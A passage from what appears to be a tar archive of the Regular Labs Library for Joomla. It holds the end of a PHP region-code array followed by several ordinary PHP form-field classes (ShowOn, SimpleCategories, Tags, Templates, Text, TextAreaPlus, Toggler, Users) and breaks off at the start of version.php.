'GB-P4' => 'United Kingdom: West Berkshire',
'GB-W7' => 'United Kingdom: West Dunbartonshire',
'GB-97' => 'United Kingdom: West Glamorgan',
'GB-W9' => 'United Kingdom: West Lothian',
'GB-43' => 'United Kingdom: West Midlands',
'GB-P6' => 'United Kingdom: West Sussex',
'GB-45' => 'United Kingdom: West Yorkshire',
'GB-P5' => 'United Kingdom: Westminster',
'GB-P7' => 'United Kingdom: Wigan',
'GB-P8' => 'United Kingdom: Wiltshire',
'GB-P9' => 'United Kingdom: Windsor and Maidenhead',
'GB-Q1' => 'United Kingdom: Wirral',
'GB-Q2' => 'United Kingdom: Wokingham',
'GB-Q3' => 'United Kingdom: Wolverhampton',
'GB-Q4' => 'United Kingdom: Worcestershire',
'GB-Z4' => 'United Kingdom: Wrexham',
'GB-Q5' => 'United Kingdom: York',
'--US' => '','-US' => 'United
States',
'US-AL' => 'United States: Alabama',
'US-AK' => 'United States: Alaska',
'US-AS' => 'United States: American Samoa',
'US-AZ' => 'United States: Arizona',
'US-AR' => 'United States: Arkansas',
'US-AA' => 'United States: Armed Forces Americas',
'US-AE' => 'United States: Armed Forces Europe',
'US-AP' => 'United States: Armed Forces Pacific',
'US-CA' => 'United States: California',
'US-CO' => 'United States: Colorado',
'US-CT' => 'United States: Connecticut',
'US-DE' => 'United States: Delaware',
'US-DC' => 'United States: District of Columbia',
'US-FM' => 'United States: Federated States of
Micronesia',
'US-FL' => 'United States: Florida',
'US-GA' => 'United States: Georgia',
'US-GU' => 'United States: Guam',
'US-HI' => 'United States: Hawaii',
'US-ID' => 'United States: Idaho',
'US-IL' => 'United States: Illinois',
'US-IN' => 'United States: Indiana',
'US-IA' => 'United States: Iowa',
'US-KS' => 'United States: Kansas',
'US-KY' => 'United States: Kentucky',
'US-LA' => 'United States: Louisiana',
'US-ME' => 'United States: Maine',
'US-MH' => 'United States: Marshall Islands',
'US-MD' => 'United States: Maryland',
'US-MA' => 'United States: Massachusetts',
'US-MI' => 'United States: Michigan',
'US-MN' => 'United States: Minnesota',
'US-MS' => 'United States: Mississippi',
'US-MO' => 'United States: Missouri',
'US-MT' => 'United States: Montana',
'US-NE' => 'United States: Nebraska',
'US-NV' => 'United States: Nevada',
'US-NH' => 'United States: New Hampshire',
'US-NJ' => 'United States: New Jersey',
'US-NM' => 'United States: New Mexico',
'US-NY' => 'United States: New York',
'US-NC' => 'United States: North Carolina',
'US-ND' => 'United States: North Dakota',
'US-MP' => 'United States: Northern Mariana
Islands',
'US-OH' => 'United States: Ohio',
'US-OK' => 'United States: Oklahoma',
'US-OR' => 'United States: Oregon',
'US-PW' => 'United States: Palau',
'US-PA' => 'United States: Pennsylvania',
'US-PR' => 'United States: Puerto Rico',
'US-RI' => 'United States: Rhode Island',
'US-SC' => 'United States: South Carolina',
'US-SD' => 'United States: South Dakota',
'US-TN' => 'United States: Tennessee',
'US-TX' => 'United States: Texas',
'US-UT' => 'United States: Utah',
'US-VT' => 'United States: Vermont',
'US-VI' => 'United States: Virgin Islands',
'US-VA' => 'United States: Virginia',
'US-WA' => 'United States: Washington',
'US-WV' => 'United States: West Virginia',
'US-WI' => 'United States: Wisconsin',
'US-WY' => 'United States: Wyoming',
'--UY' => '','-UY' =>
'Uruguay',
'UY-01' => 'Uruguay: Artigas',
'UY-02' => 'Uruguay: Canelones',
'UY-03' => 'Uruguay: Cerro Largo',
'UY-04' => 'Uruguay: Colonia',
'UY-05' => 'Uruguay: Durazno',
'UY-06' => 'Uruguay: Flores',
'UY-07' => 'Uruguay: Florida',
'UY-08' => 'Uruguay: Lavalleja',
'UY-09' => 'Uruguay: Maldonado',
'UY-10' => 'Uruguay: Montevideo',
'UY-11' => 'Uruguay: Paysandu',
'UY-12' => 'Uruguay: Rio Negro',
'UY-13' => 'Uruguay: Rivera',
'UY-14' => 'Uruguay: Rocha',
'UY-15' => 'Uruguay: Salto',
'UY-16' => 'Uruguay: San Jose',
'UY-17' => 'Uruguay: Soriano',
'UY-18' => 'Uruguay: Tacuarembo',
'UY-19' => 'Uruguay: Treinta y Tres',
'--UZ' => '','-UZ' =>
'Uzbekistan',
'UZ-01' => 'Uzbekistan: Andijon',
'UZ-02' => 'Uzbekistan: Bukhoro',
'UZ-03' => 'Uzbekistan: Farghona',
'UZ-04' => 'Uzbekistan: Jizzakh',
'UZ-05' => 'Uzbekistan: Khorazm',
'UZ-06' => 'Uzbekistan: Namangan',
'UZ-07' => 'Uzbekistan: Nawoiy',
'UZ-08' => 'Uzbekistan: Qashqadaryo',
'UZ-09' => 'Uzbekistan: Qoraqalpoghiston',
'UZ-10' => 'Uzbekistan: Samarqand',
'UZ-11' => 'Uzbekistan: Sirdaryo',
'UZ-12' => 'Uzbekistan: Surkhondaryo',
'UZ-13' => 'Uzbekistan: Toshkent',
'UZ-14' => 'Uzbekistan: Toshkent',
'--VU' => '','-VU' =>
'Vanuatu',
'VU-05' => 'Vanuatu: Ambrym',
'VU-06' => 'Vanuatu: Aoba',
'VU-08' => 'Vanuatu: Efate',
'VU-09' => 'Vanuatu: Epi',
'VU-10' => 'Vanuatu: Malakula',
'VU-16' => 'Vanuatu: Malampa',
'VU-11' => 'Vanuatu: Paama',
'VU-17' => 'Vanuatu: Penama',
'VU-12' => 'Vanuatu: Pentecote',
'VU-13' => 'Vanuatu: Sanma',
'VU-18' => 'Vanuatu: Shefa',
'VU-14' => 'Vanuatu: Shepherd',
'VU-15' => 'Vanuatu: Tafea',
'VU-07' => 'Vanuatu: Torba',
'--VE' => '','-VE' =>
'Venezuela',
'VE-01' => 'Venezuela: Amazonas',
'VE-02' => 'Venezuela: Anzoategui',
'VE-03' => 'Venezuela: Apure',
'VE-04' => 'Venezuela: Aragua',
'VE-05' => 'Venezuela: Barinas',
'VE-06' => 'Venezuela: Bolivar',
'VE-07' => 'Venezuela: Carabobo',
'VE-08' => 'Venezuela: Cojedes',
'VE-09' => 'Venezuela: Delta Amacuro',
'VE-24' => 'Venezuela: Dependencias Federales',
'VE-25' => 'Venezuela: Distrito Federal',
'VE-11' => 'Venezuela: Falcon',
'VE-12' => 'Venezuela: Guarico',
'VE-13' => 'Venezuela: Lara',
'VE-14' => 'Venezuela: Merida',
'VE-15' => 'Venezuela: Miranda',
'VE-16' => 'Venezuela: Monagas',
'VE-17' => 'Venezuela: Nueva Esparta',
'VE-18' => 'Venezuela: Portuguesa',
'VE-19' => 'Venezuela: Sucre',
'VE-20' => 'Venezuela: Tachira',
'VE-21' => 'Venezuela: Trujillo',
'VE-26' => 'Venezuela: Vargas',
'VE-22' => 'Venezuela: Yaracuy',
'VE-23' => 'Venezuela: Zulia',
'--VN' => '','-VN' =>
'Vietnam',
'VN-43' => 'Vietnam: An Giang',
'VN-53' => 'Vietnam: Ba Ria-Vung Tau',
'VN-02' => 'Vietnam: Bac Thai',
'VN-03' => 'Vietnam: Ben Tre',
'VN-54' => 'Vietnam: Binh Dinh',
'VN-55' => 'Vietnam: Binh Thuan',
'VN-56' => 'Vietnam: Can Tho',
'VN-05' => 'Vietnam: Cao Bang',
'VN-44' => 'Vietnam: Dac Lac',
'VN-45' => 'Vietnam: Dong Nai',
'VN-20' => 'Vietnam: Dong Nam Bo',
'VN-46' => 'Vietnam: Dong Thap',
'VN-57' => 'Vietnam: Gia Lai',
'VN-11' => 'Vietnam: Ha Bac',
'VN-58' => 'Vietnam: Ha Giang',
'VN-51' => 'Vietnam: Ha Noi',
'VN-59' => 'Vietnam: Ha Tay',
'VN-60' => 'Vietnam: Ha Tinh',
'VN-12' => 'Vietnam: Hai Hung',
'VN-13' => 'Vietnam: Hai Phong',
'VN-52' => 'Vietnam: Ho Chi Minh',
'VN-61' => 'Vietnam: Hoa Binh',
'VN-62' => 'Vietnam: Khanh Hoa',
'VN-47' => 'Vietnam: Kien Giang',
'VN-63' => 'Vietnam: Kon Tum',
'VN-22' => 'Vietnam: Lai Chau',
'VN-23' => 'Vietnam: Lam Dong',
'VN-39' => 'Vietnam: Lang Son',
'VN-64' => 'Vietnam: Lao Cai',
'VN-24' => 'Vietnam: Long An',
'VN-48' => 'Vietnam: Minh Hai',
'VN-65' => 'Vietnam: Nam Ha',
'VN-66' => 'Vietnam: Nghe An',
'VN-67' => 'Vietnam: Ninh Binh',
'VN-68' => 'Vietnam: Ninh Thuan',
'VN-69' => 'Vietnam: Phu Yen',
'VN-70' => 'Vietnam: Quang Binh',
'VN-29' => 'Vietnam: Quang Nam-Da Nang',
'VN-71' => 'Vietnam: Quang Ngai',
'VN-30' => 'Vietnam: Quang Ninh',
'VN-72' => 'Vietnam: Quang Tri',
'VN-73' => 'Vietnam: Soc Trang',
'VN-32' => 'Vietnam: Son La',
'VN-49' => 'Vietnam: Song Be',
'VN-33' => 'Vietnam: Tay Ninh',
'VN-35' => 'Vietnam: Thai Binh',
'VN-34' => 'Vietnam: Thanh Hoa',
'VN-74' => 'Vietnam: Thua Thien',
'VN-37' => 'Vietnam: Tien Giang',
'VN-75' => 'Vietnam: Tra Vinh',
'VN-76' => 'Vietnam: Tuyen Quang',
'VN-77' => 'Vietnam: Vinh Long',
'VN-50' => 'Vietnam: Vinh Phu',
'VN-78' => 'Vietnam: Yen Bai',
'--YE' => '','-YE' =>
'Yemen',
'YE-01' => 'Yemen: Abyan',
'YE-20' => 'Yemen: Al Bayda\'',
'YE-08' => 'Yemen: Al Hudaydah',
'YE-21' => 'Yemen: Al Jawf',
'YE-03' => 'Yemen: Al Mahrah',
'YE-10' => 'Yemen: Al Mahwit',
'YE-11' => 'Yemen: Dhamar',
'YE-04' => 'Yemen: Hadramawt',
'YE-22' => 'Yemen: Hajjah',
'YE-23' => 'Yemen: Ibb',
'YE-24' => 'Yemen: Lahij',
'YE-14' => 'Yemen: Ma\'rib',
'YE-15' => 'Yemen: Sa',
'YE-16' => 'Yemen: San',
'YE-05' => 'Yemen: Shabwah',
'YE-25' => 'Yemen: Ta',
'--ZM' => '','-ZM' =>
'Zambia',
'ZM-02' => 'Zambia: Central',
'ZM-08' => 'Zambia: Copperbelt',
'ZM-03' => 'Zambia: Eastern',
'ZM-04' => 'Zambia: Luapula',
'ZM-09' => 'Zambia: Lusaka',
'ZM-05' => 'Zambia: Northern',
'ZM-06' => 'Zambia: North-Western',
'ZM-07' => 'Zambia: Southern',
'ZM-01' => 'Zambia: Western',
'--ZW' => '','-ZW' =>
'Zimbabwe',
'ZW-09' => 'Zimbabwe: Bulawayo',
'ZW-10' => 'Zimbabwe: Harare',
'ZW-01' => 'Zimbabwe: Manicaland',
'ZW-03' => 'Zimbabwe: Mashonaland Central',
'ZW-04' => 'Zimbabwe: Mashonaland East',
'ZW-05' => 'Zimbabwe: Mashonaland West',
'ZW-08' => 'Zimbabwe: Masvingo',
'ZW-06' => 'Zimbabwe: Matabeleland North',
'ZW-07' => 'Zimbabwe: Matabeleland South',
'ZW-02' => 'Zimbabwe: Midlands\'
fields/showon.php000064400000002115151165347220010045 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\ShowOn as RL_ShowOn;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_ShowOn extends \RegularLabs\Library\Field
{
public $type = 'ShowOn';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$value = (string) $this->get('value');
$class = $this->get('class', '');
$formControl = $this->get('form', $this->formControl);
$formControl = $formControl == 'root' ? '' :
$formControl;
if ( ! $value)
{
return RL_ShowOn::close();
}
return '</div></div>'
. RL_ShowOn::open($value, $formControl, $this->group, $class)
. '<div><div>';
}
}
fields/simplecategories.php000064400000005732151165347230012100
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\ShowOn as RL_ShowOn;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_SimpleCategories extends \RegularLabs\Library\Field
{
public $type = 'SimpleCategories';
protected function getInput()
{
$size = (int) $this->get('size');
$attr = $this->get('onchange') ? '
onchange="' . $this->get('onchange') .
'"' : '';
$categories = $this->getOptions();
$options = parent::getOptions();
if ($this->get('show_none', 1))
{
$options[] = JHtml::_('select.option', '', '-
' . JText::_('JNONE') . ' -');
}
if ($this->get('show_new', 1))
{
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_NEW_CATEGORY') . ' -');
}
$options = array_merge($options, $categories);
if ( ! $this->get('show_new', 1))
{
return JHtml::_('select.genericlist',
$options,
$this->name,
trim($attr),
'value',
'text',
$this->value,
$this->id
);
}
JHtml::_('jquery.framework');
RL_Document::script('regularlabs/simplecategories.min.js');
$selectlist = $this->selectListSimple(
$options,
$this->getName($this->fieldname . '_select'),
$this->value,
$this->getId('', $this->fieldname .
'_select'),
$size,
false
);
$html = [];
$html[] = '<div class="rl_simplecategory">';
$html[] = '<div
class="rl_simplecategory_select">' . $selectlist .
'</div>';
$html[] = RL_ShowOn::show(
'<div class="rl_simplecategory_new">'
. '<input type="text" id="' . $this->id .
'_new" value="" placeholder="' .
JText::_('RL_NEW_CATEGORY_ENTER') . '">'
. '</div>',
$this->fieldname . '_select:-1', $this->formControl
);
$html[] = '<input type="hidden"
class="rl_simplecategory_value" id="' . $this->id .
'" name="' . $this->name . '"
value="' . $this->value . '" />';
$html[] = '</div>';
return implode('', $html);
}
protected function getOptions()
{
$table = $this->get('table');
if ( ! $table)
{
return [];
}
// Get the user groups from the database.
$query = $this->db->getQuery(true)
->select([
$this->db->quoteName('category', 'value'),
$this->db->quoteName('category', 'text'),
])
->from($this->db->quoteName('#__' . $table))
->where($this->db->quoteName('category') . ' !=
' . $this->db->quote(''))
->group($this->db->quoteName('category'))
->order($this->db->quoteName('category') . '
ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/subform.php000064400000001507151165347230010212 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('subform');
class JFormFieldRL_Subform extends \JFormFieldSubform
{
public function __construct($form = null)
{
parent::__construct($form);
}
protected function getLayoutPaths()
{
$paths = parent::getLayoutPaths();
$paths[] = JPATH_LIBRARIES . '/regularlabs/layouts';
return $paths;
}
}
fields/tags.php000064400000005062151165347230007473 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Tags extends \RegularLabs\Library\Field
{
public $type = 'Tags';
protected function getInput()
{
$size = (int) $this->get('size');
$simple = (int) $this->get('simple');
$show_ignore = $this->get('show_ignore');
$use_names = $this->get('use_names');
if ($show_ignore && in_array('-1', $this->value))
{
$this->value = ['-1'];
}
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'simple', 'show_ignore',
'use_names'),
$simple
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$simple = $attributes->get('simple');
$options = $this->getOptions(
(bool) $attributes->get('show_all'),
(bool) $attributes->get('use_names')
);
return $this->selectList($options, $name, $value, $id, $size, true,
$simple);
}
protected function getOptions($show_ignore = false, $use_names = false,
$value = [])
{
// assemble items to the array
$options = [];
if ($show_ignore)
{
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -');
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
$options = array_merge($options, $this->getTags($use_names));
return $options;
}
protected function getTags($use_names)
{
$value = $use_names ? 'a.title' : 'a.id';
$query = $this->db->getQuery(true)
->select($value . ' as value, a.title as text, a.parent_id AS
parent')
->from('#__tags AS a')
->select('COUNT(DISTINCT b.id) - 1 AS level')
->join('LEFT', '#__tags AS b ON a.lft > b.lft AND
a.rgt < b.rgt')
->where('a.alias <> ' .
$this->db->quote('root'))
->where('a.published IN (0,1)')
->group('a.id')
->order('a.lft ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/templates.php000064400000006152151165347230010534 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Templates extends \RegularLabs\Library\Field
{
public $type = 'Templates';
protected function getInput()
{
// fix old '::' separator and change it to '--'
$value = json_encode($this->value);
$value = str_replace('::', '--', $value);
$value = (array) json_decode($value, true);
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
return $this->selectListAjax(
$this->type, $this->name, $value, $this->id,
compact('size', 'multiple')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getOptions();
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
protected function getOptions()
{
$options = [];
$templates = $this->getTemplates();
foreach ($templates as $styles)
{
$level = 0;
foreach ($styles as $style)
{
$style->level = $level;
$options[] = $style;
if (count($styles) <= 2)
{
break;
}
$level = 1;
}
}
return $options;
}
protected function getTemplates()
{
$groups = [];
$lang = JFactory::getLanguage();
// Get the database object and a new query object.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('s.id, s.title, e.name as name, s.template')
->from('#__template_styles as s')
->where('s.client_id = 0')
->join('LEFT', '#__extensions as e on
e.element=s.template')
->where('e.enabled=1')
->where($db->quoteName('e.type') . '=' .
$db->quote('template'))
->order('s.template')
->order('s.title');
// Set the query and load the styles.
$db->setQuery($query);
$styles = $db->loadObjectList();
// Build the grouped list array.
if ($styles)
{
foreach ($styles as $style)
{
$template = $style->template;
$lang->load('tpl_' . $template . '.sys',
JPATH_SITE)
|| $lang->load('tpl_' . $template . '.sys',
JPATH_SITE . '/templates/' . $template);
$name = JText::_($style->name);
// Initialize the group if necessary.
if ( ! isset($groups[$template]))
{
$groups[$template] = [];
$groups[$template][] = JHtml::_('select.option', $template,
$name);
}
$groups[$template][] = JHtml::_('select.option', $template .
'--' . $style->id, $style->title);
}
}
return $groups;
}
}
fields/text.php000064400000003677151165347230007533 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('text');
class JFormFieldRL_Text extends JFormFieldText
{
public $type = 'Text';
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$this->element = $element;
$element['label'] =
$this->prepareText($element['label']);
$element['description'] =
$this->prepareText($element['description']);
$element['hint'] =
$this->prepareText($element['hint']);
$element['translateDescription'] = false;
return parent::setup($element, $value, $group);
}
private function prepareText($string = '')
{
$string = trim($string);
if ($string == '')
{
return '';
}
// variables
$var1 = JText::_($this->get('var1'));
$var2 = JText::_($this->get('var2'));
$var3 = JText::_($this->get('var3'));
$var4 = JText::_($this->get('var4'));
$var5 = JText::_($this->get('var5'));
$string = JText::sprintf(JText::_($string), $var1, $var2, $var3, $var4,
$var5);
$string = trim(RL_String::html_entity_decoder($string));
$string = str_replace('"', '"',
$string);
$string = str_replace('span
style="font-family:monospace;"', 'span
class="rl_code"', $string);
return $string;
}
private function get($val, $default = '')
{
if ( ! isset($this->params[$val]) || (string) $this->params[$val]
== '')
{
return $default;
}
return (string) $this->params[$val];
}
}
fields/textareaplus.php000064400000006626151165347230011265
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Date\Date as JDate;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_TextAreaPlus extends \RegularLabs\Library\Field
{
public $type = 'TextAreaPlus';
protected function getLabel()
{
$resize = $this->get('resize', 0);
$show_insert_date_name = $this->get('show_insert_date_name',
0);
$add_separator = $this->get('add_separator', 1);
$label =
RL_String::html_entity_decoder(JText::_($this->get('label')));
$attribs = 'id="' . $this->id . '-lbl"
for="' . $this->id . '"';
if ($this->description)
{
$attribs .= ' class="hasPopover" title="' .
$label . '"'
. ' data-content="' . JText::_($this->description) .
'"';
}
$html = '<label ' . $attribs . '>' . $label;
if ($show_insert_date_name)
{
$date_name = JDate::getInstance()->format('[Y-m-d]') .
' ' . JFactory::getUser()->name . ' : ';
$separator = $add_separator ? '---' : 'none';
$onclick = "RegularLabsForm.prependTextarea('" .
$this->id . "', '" . addslashes($date_name) .
"', '" . $separator . "');";
$html .= '<br><span role="button"
class="btn btn-mini rl_insert_date" onclick="' .
$onclick . '">'
. JText::_('RL_INSERT_DATE_NAME')
. '</span>';
}
if ($resize)
{
$html .= '<br><span role="button"
class="rl_resize_textarea rl_maximize"'
. ' data-id="' . $this->id . '"
data-min="' . $this->get('height', 80) .
'" data-max="' . $resize . '">'
. '<span
class="rl_resize_textarea_maximize">'
. '[ + ]'
. '</span>'
. '<span
class="rl_resize_textarea_minimize">'
. '[ - ]'
. '</span>'
. '</span>';
}
$html .= '</label>';
return $html;
}
protected function getInput()
{
$width = $this->get('width', 600);
$height = $this->get('height', 80);
$class = ' class="' . trim('rl_textarea ' .
$this->get('class')) . '"';
$type = $this->get('texttype');
$hint = $this->get('hint');
if (is_array($this->value))
{
$this->value = trim(implode("\n", $this->value));
}
if ($type == 'html')
{
// Convert <br> tags so they are not visible when editing
$this->value = str_replace('<br>', "\n",
$this->value);
}
else if ($type == 'regex')
{
// Protects the special characters
$this->value = str_replace('[:REGEX_ENTER:]',
'\n', $this->value);
}
if ($this->get('translate') &&
$this->get('translate') !== 'false')
{
$this->value = JText::_($this->value);
$hint = JText::_($hint);
}
$this->value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
$hint = $hint ? ' placeholder="' . $hint .
'"' : '';
return
'<textarea name="' . $this->name . '"
cols="' . (round($width / 7.5)) . '" rows="'
. (round($height / 15)) . '"'
. ' style="width:' . (($width == '600') ?
'100%' : $width . 'px') . ';height:' .
$height . 'px"'
. ' id="' . $this->id . '"' . $class .
$hint . '>' . $this->value . '</textarea>';
}
}
fields/toggler.php000064400000006077151165347230010207 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\FormField as JFormField;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
/**
* @deprecated 2018-10-30 Use ShowOn instead
*/
/**
* To use this, make a start xml param tag with the param and value set
* And an end xml param tag without the param and value set
* Everything between those tags will be included in the slide
*
* Available extra parameters:
* param The name of the reference parameter
* value a comma separated list of value on which to show the
framework
*/
class JFormFieldRL_Toggler extends JFormField
{
public $type = 'Toggler';
protected function getLabel()
{
return '';
}
protected function getInput()
{
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return null;
}
$field = new RLFieldToggler;
return $field->getInput($this->element->attributes());
}
}
class RLFieldToggler
{
function getInput($params)
{
$this->params = $params;
$option =
JFactory::getApplication()->input->get('option');
// do not place toggler stuff on JoomFish pages
if ($option == 'com_joomfish')
{
return '';
}
$param = $this->get('param');
$value = $this->get('value');
$nofx = $this->get('nofx');
$method = $this->get('method');
$div = $this->get('div', 0);
RL_Document::script('regularlabs/toggler.min.js');
$param = RL_RegEx::replace('^\s*(.*?)\s*$', '\1',
$param);
$param = RL_RegEx::replace('\s*\|\s*', '|', $param);
$html = [];
if ( ! $param)
{
return '</div>';
}
$param = RL_RegEx::replace('[^a-z0-9-\.\|\@]',
'_', $param);
$param = str_replace('@', '_', $param);
$set_groups = explode('|', $param);
$set_values = explode('|', $value);
$ids = [];
foreach ($set_groups as $i => $group)
{
$count = $i;
if ($count >= count($set_values))
{
$count = 0;
}
$value = explode(',', $set_values[$count]);
foreach ($value as $val)
{
$ids[] = $group . '.' . $val;
}
}
if ( ! $div)
{
$html[] = '</div></div>';
}
$html[] = '<div id="' . rand(1000000, 9999999) .
'___' . implode('___', $ids) . '"
class="rl_toggler';
if ($nofx)
{
$html[] = ' rl_toggler_nofx';
}
if ($method == 'and')
{
$html[] = ' rl_toggler_and';
}
$html[] = '">';
if ( ! $div)
{
$html[] = '<div><div>';
}
return implode('', $html);
}
private function get($val, $default = '')
{
if ( ! isset($this->params[$val]) || (string) $this->params[$val]
== '')
{
return $default;
}
return (string) $this->params[$val];
}
}
fields/users.php000064400000004525151165347240007702 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Users extends \RegularLabs\Library\Field
{
public $type = 'Users';
protected function getInput()
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_current = $this->get('show_current');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple',
'show_current')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$show_current = $attributes->get('show_current');
$options = $this->getUsers();
if (is_array($options) && $show_current)
{
array_unshift($options, JHtml::_('select.option',
'current', '- ' . JText::_('RL_CURRENT_USER')
. ' -'));
}
return $this->selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
function getUsers()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__users AS u');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('u.name, u.username, u.id, u.block as disabled')
->order('name');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
$list = array_map(function ($item) {
if ($item->disabled)
{
$item->name .= ' (' . JText::_('JDISABLED') .
')';
}
return $item;
}, $list);
return $this->getOptionsByList($list, ['username',
'id']);
}
}
fields/version.php000064400000003014151165347240010216 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
